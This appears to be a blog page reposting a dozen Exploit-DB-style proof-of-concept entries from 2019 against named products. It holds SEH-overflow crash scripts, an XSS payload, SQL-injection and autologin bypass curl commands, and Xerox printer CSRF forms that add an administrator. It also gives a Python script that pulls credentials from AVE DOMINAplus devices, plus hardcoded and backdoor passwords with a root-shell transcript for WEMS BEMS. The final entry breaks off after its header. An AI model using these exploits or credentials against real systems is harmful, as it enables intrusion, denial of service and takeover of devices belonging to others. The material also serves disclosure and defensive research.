Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863595276

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: SurfOffline Professional 2.2.0.103 - 'Project Name' Denial of Service (SEH)
# Date: 2019-12-18
# Exploit Author: Chris Inzinga
# Vendor Homepage: http://www.bimesoft.com/
# Software Link: https://www.softpedia.com/get/Internet/Offline-Browsers/SurfOffline.shtml
# Version: 2.2.0.103
# Tested on: Windows 7 SP1 (x86)

# Steps to reproduce:
# 1. Generate a malicious payload via the PoC
# 2. In the application set the 'Start Page URL' to any value, it doesn't matter.
# 3. Paste the PoC payload as the 'Project Name' and click 'next' and 'finish'.
# 4. Observe a program DOS crash, overwriting SEH=20

#!/usr/bin/python

payload =3D "A" * 382 + "B" * 4 + "C" * 4

try:
    fileCreate =3Dopen("exploit.txt","w")
    print("[x] Creating file")
    fileCreate.write(payload)
    fileCreate.close()
    print("[x] File created")
except:
    print("[!] File failed to be created")
            
# Exploit Title: FTP Navigator 8.03 -  'Custom Command' Denial of Service (SEH)
# Date: 2019-12-18
# Exploit Author: Chris Inzinga
# Vendor Homepage: http://www.internet-soft.com/
# Software Link: https://www.softpedia.com/dyn-postdownload.php/5edd515b8045f156a9dd48599c2539e5/5dfa4560/d0c/0/1
# Version: 8.03
# Tested on: Windows 7 SP1 (x86)

# Steps to reproduce:
#   1. Generate a malicious payload via the POC
#   2. In the application click "FTP - Server" > "Custom Command"
#   3. Paste the contents of the PoC file into the input box below SERVER LIST and press "Do it!"
#   4. Observe a program DOS crash, overwriting SEH 

#!/usr/bin/python

payload = "A" * 4108 + "B" * 4 + "C" * 40

try:
    fileCreate =open("exploit.txt","w")
    print("[x] Creating file")
    fileCreate.write(payload)
    fileCreate.close()
    print("[x] File created")
except:
    print("[!] File failed to be created")
            
# Exploit Title: phpMyChat-Plus 1.98 - 'pmc_username' Reflected Cross-Site Scripting
# Date: 2019-12-19
# Exploit Author: Chris Inzinga
# Vendor Homepage: http://ciprianmp.com/latest/
# Download: https://sourceforge.net/projects/phpmychat/
# Tested On: Linux & Mac
# Version: 1.98
# CVE: CVE-2019-19908

Description: 
The "pmc_username" parameter of pass_reset.php is vulnerable to reflected XSS

Payload: 
"><script>alert('xss')</script>

Vulnerable URL: 
http://localhost/plus/pass_reset.php?L=english&pmc_username="><script>alert('xss')</script>
            
# Exploit: Thrive Smart Home 1.1 - Authentication Bypass
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Thrive
# Product web page: http://www.thrivesmarthomes.com
# Affected version: 1.1
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5554
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5554.php


Thrive Smart Home v1.1 SQL Injection Authentication Bypass


Vendor: Thrive
Product web page: http://www.thrivesmarthomes.com
Affected version: 1.1

Summary: As smart home technology becomes more affordable and easy to
install with services offered by Thrive Smart Homes, there are some
great options available to give your home a high-tech makeover. If the
convenience of feeding your cat or turning on your air conditioning with
a tap on your smartphone isn't enough of a reason to make the investment,
consider how conveniently you can protect your home and belongings. From
Wi-Fi-equipped smoke detectors to plugs with auto turn-offs, smart homes
with their always-on connectivity and notifications systems allow consumers
to quickly respond to the unexpected. For instance, if you install a smart
water leak and moisture monitoring device, you can set up alerts on your
phone for unusual changes in moisture and stop leaks before they cause major
flooding or mold. It's a convenient way to proactively protect your home
from costly damage, whether it's an overflowing laundry tub, a cracked
washer hose, or a leaky water heater.

Desc: The application suffers from an SQL Injection vulnerability. Input
passed through 'user' POST parameter in checklogin.php is not properly
sanitised before being returned to the user or used in SQL queries. This
can be exploited to manipulate SQL queries by injecting arbitrary SQL
code and bypass the authentication mechanism.

Tested on: Apache httpd 2.4.25 (Raspbian)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5554
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5554.php


21.10.2019

--


$ curl http://192.168.1.1:8080/raspberry/include/checklogin.php -X POST -d"submit=LOGIN&user=' or 1=1#&pass=pass" -i
HTTP/1.1 302 Found
Date: Mon, 21 Oct 2019 23:35:18 GMT
Server: Apache/2.4.25 (Raspbian)
Set-Cookie: PHPSESSID=6cu3frj0qes9c96v5de5vp37e2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: ../home.php
Content-Length: 1
Content-Type: text/html; charset=UTF-8
            
# Exploit Title: Wing FTP Server 6.0.7 - Unquoted Service Path
# Date: 2019-12-30
# Exploit Author: Nawaf Alkeraithe
# Vendor Homepage: https://www.wftpserver.com/
# Version: 6.0.7
# Tested on: Windows 10
# CVE : N/A

# PoC:

C:\Users\user>sc qc "Wing FTP Server"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Wing FTP Server
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wing FTP
Server\WFTPServer.exe service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wing FTP Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
# Exploit: WEMS BEMS 21.3.1 - Undocumented Backdoor Account
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: WEMS Limited
# Product web page: https://www.wems.co.uk
# Advisory ID: ZSL-2019-5552
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5552.php

WEMS BEMS 21.3.1 Undocumented Backdoor Account


Vendor: WEMS Limited
Product web page: https://www.wems.co.uk
Affected version: Web: 21.3.1
                  Web: 20.0beta
                  Web: 19.5
                  Web: 18.4
                  Firmware: 1.26.6 (OS: 5.3)
                  Firmware: 1.23.7 (OS: 5.0)
                  Firmware: 1.21.4 (OS: 4.1a-usb)
                  Firmware: 1.18.0.3 (OS: i686-1.1)
Platform: Shockwave Flash (SWF) / CGI

Summary: We (WEMS) offer the world's first fully wireless energy management system.
Our solution enables your organization to take control of its energy costs, by monitoring
lighting, heating and air conditioning equipment to identify wastage across multiple
sites and start saving money instantly. Additionally, we offer a service which enables
you to personally control the settings of your building - remotely, via text messaging
and the internet - from wherever you happen to be in the world.

Desc: The wireless BMS solution has an undocumented backdoor account that is Base64-encoded.
These sets of credentials are never exposed to the end-user and cannot be changed through
any normal operation of the controller thru the RMI. Attacker could exploit this vulnerability
by logging in using the backdoor account with highest privileges for administration and gain
full system control. The check_users.sh Bash script is used to generate the default accounts
on the system with their passwords and privilege level. The backdoor user cannot be seen in
the users settings in the admin panel and it also uses an undocumented privilege level 3 when
using the addhttpuser program which allows full availability of the features that the WEMS
is offering remotely. WEMS also ships with hard-coded and weak credentials for Telnet/FTP
access using the credentials gast:glasshou or root:glasshou.

Tested on: Linux 2.6.16 armv5tejl
           thttpd/2.25b
           Adam 7000 System
           WEMS OS 5.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5552
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5552.php


06.07.2019

--


Excerpt content of check_users.sh bash script:
----------------------------------------------

# cat /tmp/check_users.sh
...
...
if [ -n "${varSystem}" ];then
  #add 'V.A.R.' user credentials
  /mnt/bin/addhttpuser -u var -p 88fRK66Q -l 2 > /dev/null
  /mnt/bin/addhttpuser -u varuser -p user -l 1 > /dev/null
  /mnt/bin/addhttpuser -u varview -p view -l 0 > /dev/null
else
  #add 'wems' user credentials
  /mnt/bin/addhttpuser -u wems -p kup5EF4s -l 2 > /dev/null
  /mnt/bin/addhttpuser -u wemsuser -p user -l 1 > /dev/null
  /mnt/bin/addhttpuser -u wemsview -p view -l 0 > /dev/null
fi

echo "Adding logging user credentials..."
/mnt/bin/addhttpuser -u YWRhbWNvbGxlY3Q -p YzAxMTNjdGFkYW0K -l 3 > /dev/null

# Verify user added successfully...
if [ "$?" -eq "255" ]
then
        echo "Error when adding logging user credentials - aborting.."
        cp -p /mnt/etc/httpusers.default /mnt/etc/httpusers
        exit
fi

veri_user=`grep -e 'YWRhbWNvbGxlY3Q' /mnt/etc/httpusers`

if [ -n "$veri_user" ]
then
        echo "User credentials added successfully."
        cp -p /mnt/etc/httpusers /mnt/etc/httpusers.default
        exit
else
        echo "Error when adding user credentials - restoring defaults."
        cp -p /mnt/etc/httpusers.default /mnt/etc/httpusers
fi
----------------------------------------------


Default and hard-coded credentials:
-----------------------------------

WEMS:
 
 [Level 2/Admin - Web/SWF->CGI]     : wems:kup5EF4s
 [Level 1/User - Web/SWF->CGI]      : wemsuser:user
 [Level 0/View - Web/SWF->CGI]      : wemsview:view
 [Level 3/Backdoor - Web/SWF->CGI]  : YWRhbWNvbGxlY3Q:YzAxMTNjdGFkYW0K (adamcollect:c0113ctadam)

V.A.R. (Value Added Reseller):

 [Level 2/Admin - Web/SWF->CGI]     : var:88fRK66Q
 [Level 1/User - Web/SWF->CGI]      : varuser:user
 [Level 0/View - Web/SWF->CGI]      : varview:view

Shell:

 [Level 500/User - Telnet/FTP]      : gast:glasshou
 [Level 0/root - Telnet/FTP]        : root:glasshou
-----------------------------------


By calling the auth command through the cmd parameter, the cgiauth binary
reads the /mnt/etc/httpusers file and checks validation for authentication.
To login with the backdoor account the following HTTP GET request is made:
--------------------------------------------------------------------------

GET /cgi-bin/cgiauth?user=YWRhbWNvbGxlY3Q&pass=YzAxMTNjdGFkYW0K&cmd=auth HTTP/1.1
Host: 192.168.1.17
User-Agent: Noproblem/25.1
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.17/SMARThome1.swf

Response observed:

HTTP/1.1 200 OK
content-type: text/html
Transfer-Encoding: chunked
Date: Fri, 13 Sep 2019 18:15:17 GMT
Server: WEMS OS 5.0 Casino

sessionid=EQhaZPEXgJQhkXeZ&level=3&username=YWRhbWNvbGxlY3Q


--------------------------------------------------------------------------


Running addhttpuser, reading httpusers file:
--------------------------------------------

# /mnt/bin/addhttpuser
Usage is -u <username> -p <password> -l <level>
# cat /mnt/etc/httpusers
0:wems:$1$3EVBJ96F$RBX7xggVT8.zXM9vDbGWB/:2
1:wemsuser:$1$3EVBJA6F$Gr6zU7L0n4OPq7YdCM5.b1:1
2:wemsview:$1$3EVBJB6F$6XtYBc2VaQYucRe2T7lfa.:0
3:YWRhbWNvbGxlY3Q:$1$3EVBJD6F$scO5furQud3eKLHpNyUyo.:3
# ls -al /mnt/bin/addhttpuser
-rwxr-xr-x    1 root     root        16520 Jan 29  2014 /mnt/bin/addhttpuser
--------------------------------------------


Root shell:
-----------

$ telnet 192.168.1.17
Connected to 192.168.1.17.
Escape character is '^]'.

- Adam 7000 System - Version 4.1a-usb -

WEMS login: gast
Password: 


BusyBox v1.01 (2011.02.24-11:55+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

$ id
uid=500(gast) gid=500
$ su
Password: 


BusyBox v1.01 (2011.02.24-11:55+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(root) gid=0(root)
# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
-----------


$ ftp 192.168.1.17
WEMS FTP server (Version wu-2.6.2(12) Thu Feb 24 14:48:47 GMT 2011) ready.
user root
331 Password required for root.
pass glasshou
230 User root logged in.
            
# Exploit Title: XEROX WorkCentre 7830 Printer - Cross-Site Request Forgery (Add Admin)
# Date: 2018-12-19 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.xerox.com/
# Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-7800-series
# Software : Xerox Printer
# Product Version: WorkCentre® 7830
# Vulernability Type : Cross-Site Request Forgery (Add Admin)
# Vulenrability : Cross-Site Request Forgery
# CVE : N/A

# Description :
# The CSRF vulnerability was discovered in the WorkCentre® 7830 printer model of Xerox printer hardware.
# A request to add users is made in the Device User Database form field. This request is captured by
# the proxy. And a CSRF PoC HTML file is prepared. WorkCentre® 7830 printers allow CSRF. A request
# to add users is made in the Device User Database form field to the xerox.set URI. 
# (The frmUserName value must have a unique name.)

HTTP POST Request :

POST /dummypost/xerox.set HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://server
Connection: close
Referer: http://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp
Cookie: PageToShow=; statusSelected=n1; statusNumNodes=8; PHPSESSID=6524448254c9d6d6de52fe4a1085b994; WebTimerPopupID=5; propSelected=n30; propNumNodes=115; propHierarchy=00010000000000000000000000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue
Upgrade-Insecure-Requests: 1

CSRFToken=078992ef7d70f5868c7bb9e99d5ed4c3a388351c1951bc033b392703df1e7121d1a4c0161b987721fdb8c4ee0cfda6e0be172a51d018c10ebf4b4f554b9d2708&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1

HTTP Response :

HTTP/1.1 200 OK
Date: Thu, 19 Dec 2019 05:34:36 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 15022

CSRF HTML PoC :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://server/dummypost/xerox.set" method="POST">
      <input type="hidden" name="CSRFToken" value="078992ef7d70f5868c7bb9e99d5ed4c3a388351c1951bc033b392703df1e7121d1a4c0161b987721fdb8c4ee0cfda6e0be172a51d018c10ebf4b4f554b9d2708" />
      <input type="hidden" name="&#95;fun&#95;function" value="HTTP&#95;Set&#95;ccgen&#95;fac&#95;dispatch&#95;fn" />
      <input type="hidden" name="NextPage" value="&#47;properties&#47;authentication&#47;UserManager&#46;php&#63;x&#61;&sort&#61;Fname&order&#61;Up" />
      <input type="hidden" name="CcgenModule" value="UserEdit" />
      <input type="hidden" name="isRoles" value="True" />
      <input type="hidden" name="isPassword" value="True" />
      <input type="hidden" name="isCreate" value="True" />
      <input type="hidden" name="rolesStr" value="2&#44;5&#44;1&#44;" />
      <input type="hidden" name="limited" value="False" />
      <input type="hidden" name="oid" value="0" />
      <input type="hidden" name="userName" value="ismailtasdelen" />
      <input type="hidden" name="friendlyName" value="Ismail&#32;Tasdelen" />
      <input type="hidden" name="newPassword" value="Test1234" />
      <input type="hidden" name="retypePassword" value="Test1234" />
      <input type="hidden" name="role" value="2" />
      <input type="hidden" name="role" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
# Exploit Title: XEROX WorkCentre 7855 Printer - Cross-Site Request Forgery (Add Admin)
# Date: 2018-12-19 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.xerox.com/
# Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-7800-series/
# Software : Xerox Printer
# Product Version: WorkCentre® 7855
# Vulernability Type : Cross-Site Request Forgery (Add Admin)
# Vulenrability : Cross-Site Request Forgery
# CVE : N/A

# Description :
# The CSRF vulnerability was discovered in the WorkCentre® 7855 printer model of Xerox printer hardware.
# A request to add users is made in the Device User Database form field. This request is captured by
# the proxy. And a CSRF PoC HTML file is prepared. WorkCentre® 7855 printers allow CSRF. A request
# to add users is made in the Device User Database form field to the xerox.set URI. 
# (The frmUserName value must have a unique name.)

HTTP POST Request :

POST /dummypost/xerox.set HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://server
Connection: close
Referer: http://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp
Cookie: PageToShow=; statusSelected=n1; statusNumNodes=8; PHPSESSID=04dc6361e94c451ff4d7d1d3ef8e32cd; WebTimerPopupID=12; propSelected=n30; propNumNodes=115; propHierarchy=00010000000000000000001000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue
Upgrade-Insecure-Requests: 1

CSRFToken=67a23ff66bbdd5a1cdb95afa3a677807d74a5d74e2c1d55c576008e0a0399738b55e54353be4b069a3e68c761350654aa7e27fdcbfb9b43148aa3a1f6e8e5f7b&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1

HTTP Response :

HTTP/1.1 200 OK
Date: Thu, 19 Dec 2019 05:13:19 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 11947

CSRF HTML PoC :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://server/dummypost/xerox.set" method="POST">
      <input type="hidden" name="CSRFToken" value="67a23ff66bbdd5a1cdb95afa3a677807d74a5d74e2c1d55c576008e0a0399738b55e54353be4b069a3e68c761350654aa7e27fdcbfb9b43148aa3a1f6e8e5f7b" />
      <input type="hidden" name="&#95;fun&#95;function" value="HTTP&#95;Set&#95;ccgen&#95;fac&#95;dispatch&#95;fn" />
      <input type="hidden" name="NextPage" value="&#47;properties&#47;authentication&#47;UserManager&#46;php&#63;x&#61;&sort&#61;Fname&order&#61;Up" />
      <input type="hidden" name="CcgenModule" value="UserEdit" />
      <input type="hidden" name="isRoles" value="True" />
      <input type="hidden" name="isPassword" value="True" />
      <input type="hidden" name="isCreate" value="True" />
      <input type="hidden" name="rolesStr" value="2&#44;5&#44;1&#44;" />
      <input type="hidden" name="limited" value="False" />
      <input type="hidden" name="oid" value="0" />
      <input type="hidden" name="userName" value="ismailtasdelen" />
      <input type="hidden" name="friendlyName" value="Ismail&#32;Tasdelen" />
      <input type="hidden" name="newPassword" value="Test1234" />
      <input type="hidden" name="retypePassword" value="Test1234" />
      <input type="hidden" name="role" value="2" />
      <input type="hidden" name="role" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
# Exploit: AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5548
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5548.php

AVE DOMINAplus <=1.10.x Unauthenticated Remote Reboot


Vendor: AVE S.p.A.
Product web page: https://www.ave.it | https://www.domoticaplus.it
Affected version: Web Server Code 53AB-WBS - 1.10.62
                  Touch Screen Code TS01 - 1.0.65
                  Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
                  Touch Screen Code TS05 - 1.10.36
                  Models: 53AB-WBS
                          TS01
                          TS03V
                          TS04X-V
                          TS05N-V
                  App version: 1.10.77
                  App version: 1.10.65
                  App version: 1.10.64
                  App version: 1.10.62
                  App version: 1.10.60
                  App version: 1.10.52
                  App version: 1.10.52A
                  App version: 1.10.49
                  App version: 1.10.46
                  App version: 1.10.45
                  App version: 1.10.44
                  App version: 1.10.35
                  App version: 1.10.25
                  App version: 1.10.22
                  App version: 1.10.11
                  App version: 1.8.4
                  App version: TS1-1.0.65
                  App version: TS1-1.0.62
                  App version: TS1-1.0.44
                  App version: TS1-1.0.10
                  App version: TS1-1.0.9

Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.

Desc: The application suffers from an unauthenticated reboot command execution.
Attackers can exploit this issue to cause a denial of service scenario.

Tested on: GNU/Linux 4.1.19-armv7-x7
           GNU/Linux 3.8.13-bone50/bone71.1/bone86
           Apache/2.4.7 (Ubuntu)
           Apache/2.2.22 (Debian)
           PHP/5.5.9-1ubuntu4.23
           PHP/5.4.41-0+deb7u1
           PHP/5.4.36-0+deb7u3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5548
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5548.php


06.10.2019

--

curl -sk https://192.168.1.10/restart.php >/dev/null
            
# Exploit: AVE DOMINAplus 1.10.x - Credential Disclosure
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5550
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5550.php

#!/usr/bin/env python
#
#
# AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit
#
#
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
#                   Touch Screen Code TS01 - 1.0.65
#                   Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
#                   Touch Screen Code TS05 - 1.10.36
#                   Models: 53AB-WBS
#                           TS01
#                           TS03V
#                           TS04X-V
#                           TS05N-V
#                   App version: 1.10.77
#                   App version: 1.10.65
#                   App version: 1.10.64
#                   App version: 1.10.62
#                   App version: 1.10.60
#                   App version: 1.10.52
#                   App version: 1.10.52A
#                   App version: 1.10.49
#                   App version: 1.10.46
#                   App version: 1.10.45
#                   App version: 1.10.44
#                   App version: 1.10.35
#                   App version: 1.10.25
#                   App version: 1.10.22
#                   App version: 1.10.11
#                   App version: 1.8.4
#                   App version: TS1-1.0.65
#                   App version: TS1-1.0.62
#                   App version: TS1-1.0.44
#                   App version: TS1-1.0.10
#                   App version: TS1-1.0.9
#
# Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
# Designed to revolutionize your concept of living. DOMINA plus is the AVE home
# automation proposal that makes houses safer, more welcoming and optimized. In
# fact, our home automation system introduces cutting-edge technologies, designed
# to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
# and security and offers advanced supervision tools in order to learn how to evaluate
# and reduce consumption through various solutions dedicated to energy saving.
#
# Desc: The application suffers from clear-text credentials disclosure vulnerability
# that allows an unauthenticated attacker to issue a request to an unprotected directory
# that hosts an XML file '/xml/authClients.xml' and obtain administrative login information
# that allows for a successful authentication bypass attack.
#
# Default credentials: admin:password
# Configuration and camera credentials disclosure: /xml/tsconf.xml
#
# ==================================================
# root@kali:~/domina# ./poc.py http://192.168.1.10
#
# Ze microfilm:
# -------------
# Username: arnoldcontrol
# Password: P1sD0nt5pYMe
# ==================================================
#
# Tested on: GNU/Linux 4.1.19-armv7-x7
#            GNU/Linux 3.8.13-bone50/bone71.1/bone86
#            Apache/2.4.7 (Ubuntu)
#            Apache/2.2.22 (Debian)
#            PHP/5.5.9-1ubuntu4.23
#            PHP/5.4.41-0+deb7u1
#            PHP/5.4.36-0+deb7u3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5550
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5550.php
#
#
# 06.10.2019
#

import sys,re
import xml.etree.ElementTree as XML

from urllib2 import Request,urlopen

if (len(sys.argv) <= 1):
    print '[*] Usage: poc.py http://ip:port'
    exit(0)

host = sys.argv[1]
headers = {'Accept': 'application/xml'}
request = Request(host+'/xml/authClients.xml', headers=headers)
print '\nZe microfilm:'
print '-------------'
xml = urlopen(request).read()
tree = XML.fromstring(xml)

for user in tree.findall('customer'):
    print 'Username: ',user.get('plantCode')

for pwd in tree.iter('password'):
    print 'Password: '+pwd.text+'\n'
            
# Exploit Title: Heatmiser Netmonitor 3.03 - Hardcoded Credentials
# Date: 2019-12-22 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.heatmiser.com/en/
# Hardware Link: https://www.zoneregeling.nl/heatmiser/netmonitor-handleiding.pdf
# Software: Netmonitor v3.03
# Product Version: Netmonitor v3.03
# CWE : CWE-798
# Vulenrability: Use of Hard-coded Credentials
# CVE: N/A

# Decription :
# Hard-coded Credentials security vulnerability of Netmonitor model v3.03
# from Heatmiser manufacturer has been discovered. With this
# vulnerability, the hidFrm form in the source code of the page
# anonymously has access to hidden input codes. This information is
# contained in the input field of the hidFrm form in the source code
# lognm and logpd.


HTTP GET Request : /networkSetup.htm HTTP/1.1

<form name="hidFrm" method="post">
<input type="hidden" name="lognm" value="admin">
<input type="hidden" name="logpd" value="admin">
<input type="hidden" name="ip" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="mask" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="gate" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="dns" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="timestr" value="04:27">
<input type="hidden" name="datestr" value="23/12/2019">
<input type="hidden" name="timeflag" ,="" value="0">
<input type="hidden" name="gmtflag" ,="" value="1">
</form>
            
# Exploit: AVE DOMINAplus 1.10.x - Authentication Bypass
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5549
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5549.php

AVE DOMINAplus <=1.10.x Authentication Bypass Exploit


Vendor: AVE S.p.A.
Product web page: https://www.ave.it | https://www.domoticaplus.it
Affected version: Web Server Code 53AB-WBS - 1.10.62
                  Touch Screen Code TS01 - 1.0.65
                  Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
                  Touch Screen Code TS05 - 1.10.36
                  Models: 53AB-WBS
                          TS01
                          TS03V
                          TS04X-V
                          TS05N-V
                  App version: 1.10.77
                  App version: 1.10.65
                  App version: 1.10.64
                  App version: 1.10.62
                  App version: 1.10.60
                  App version: 1.10.52
                  App version: 1.10.52A
                  App version: 1.10.49
                  App version: 1.10.46
                  App version: 1.10.45
                  App version: 1.10.44
                  App version: 1.10.35
                  App version: 1.10.25
                  App version: 1.10.22
                  App version: 1.10.11
                  App version: 1.8.4
                  App version: TS1-1.0.65
                  App version: TS1-1.0.62
                  App version: TS1-1.0.44
                  App version: TS1-1.0.10
                  App version: TS1-1.0.9

Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.

Desc: DOMINAplus suffers from an authentication bypass vulnerability due to missing
control check when directly calling the autologin GET parameter in changeparams.php
script. Setting the autologin value to 1 allows an unauthenticated attacker to
permanently disable the authentication security control and access the management
interface with admin privileges without providing credentials.

Tested on: GNU/Linux 4.1.19-armv7-x7
           GNU/Linux 3.8.13-bone50/bone71.1/bone86
           Apache/2.4.7 (Ubuntu)
           Apache/2.2.22 (Debian)
           PHP/5.5.9-1ubuntu4.23
           PHP/5.4.41-0+deb7u1
           PHP/5.4.36-0+deb7u3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5549
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5549.php


06.10.2019

--


#
# Mina... Mina, open your eyes!
#

$ curl -s http://192.168.1.10/changeparams.php?operazione=3&autologin=1
1
            
# Exploit: AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm)
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5547
